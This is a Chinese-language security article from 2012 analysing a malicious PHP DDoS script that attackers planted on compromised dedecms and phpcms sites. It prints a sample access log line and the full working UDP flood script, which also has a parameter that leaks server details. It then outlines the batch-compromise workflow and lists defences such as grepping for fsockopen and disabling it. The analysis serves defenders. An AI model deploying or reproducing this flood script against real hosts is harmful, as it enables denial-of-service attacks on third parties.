恶意DDOS脚本日志分析报告

2012-08-20 162876人围观 ,发现 7 个不明物体 WEB安全

近期有大量的网站反馈,某IP持续请求网站上的某脚本文件(本例中是diy.php),产生大量的针对其他网站的访问请求,某安全团队在与用户取得联系后得到访问日志和脚本的源代码如下:

访问日志:

199.36.74.138 - - [29/Jul/2012:00:48:00 +0800] "GET /include/diy.php?host=76.10.221.209&port=6005&time=60 HTTP/1.1" 200 1371

PHP DDOS脚本:

<?php
    set_time_limit(999999);
    $host = $_GET['host'];
    $port = $_GET['port'];
    $exec_time = $_GET['time'];
    $Sendlen = 65535;
    $packets = 0;
    ignore_user_abort(True);
    if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
            if (StrLen($_GET['rat'])<-------->0){
                    echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                    exit;
                }
            echo "Parameters can not be empty!";
            exit;
    }
    for($i=0;$i&lt;$Sendlen;$i++){
            $out .= "A";
        }
    $max_time = time()+$exec_time;
    echo "最大攻击时间:" . $max_time . "
";
    echo "攻击目标IP:" . $host . "
";
    echo "攻击端口:" . $host . "
";
    while(1){
        $packets++;
        if(time() &gt; $max_time){
            break;
        }
        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
            if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
    }
    echo "Send Host:$host:$port

";
    echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";
    echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";

    ?>

该脚本使用了GET方式获取host,port和time三个参数,并且定义了发送的数据包大小为65535,最终构造的数据包为65535个“A”,然后通过调用fsockopen函数:fsockopen(“udp://$host”,$port, $errno, $errstr, 5);,采用UDP协议发送恶意数据包到目标网站的目标端口,以网站服务器为源头发起DOS攻击,消耗大量网站流量,占用网络带宽,最终导致网站无法正常访问。

经测试以上脚本每分钟发送的数据包平均能达到40W以上,对网站正常服务的杀伤力很大。在对遭受恶意DDOS脚本攻击的网站应用统计后发现,大部分网站使用的是dedecms以及phpcms作为网站应用,这也许与之前的相关CMS漏洞有关。

此类攻击方式类似于前几年比较盛行的mass sql injection攻击:即通过一个已知web应用的安全漏洞(比如SQL注入),结合搜索引擎,就可以发现大批存在该漏洞的网站,从而实现全自动的攻击流程:

发现web应用漏洞

1、发现web应用漏洞
2、搜索引擎寻找漏洞网站群(使用该web应用的网站)
3、结合爬虫批量攻击所有网站
4、批量上传恶意文件
5、批量发起DOS攻击
6、黑客主控端监控并维护被入侵网站列表

黑客通过以上步骤能够轻松实现有目的、批量、智能化的大范围恶意攻击。

针对恶意DOS脚本攻击的解决方案:

1.检查网站所有文件是否出现恶意fsockopen函数调用,或者以“udp://”为关键字grep检查网站所有文件,查看是否被植入恶意DOS脚本。
2.修改php.ini,设置disable_function:fsockopen,禁用fsockopen函数。
3.安装开源网站应用的最新安全补丁。

文/日志宝

这些评论亮了

  • Sunge 回复
    PHP Bot已经流行好几年了,关注的人好像不是特别多,已经有一些WebShell集成了这个功能了,俄罗斯那边的比较多,僵尸Web脚本做免杀相对较容易,经过变形之后可以存活很长时间,普通的Win32环境下的僵尸还得做主流杀软的免杀,成本较高而且还很麻烦,近几年僵尸逐渐发展为Web脚本形式的了。
    )9( 亮了
发表评论

已有 7 条评论

取消
Loading...
css.php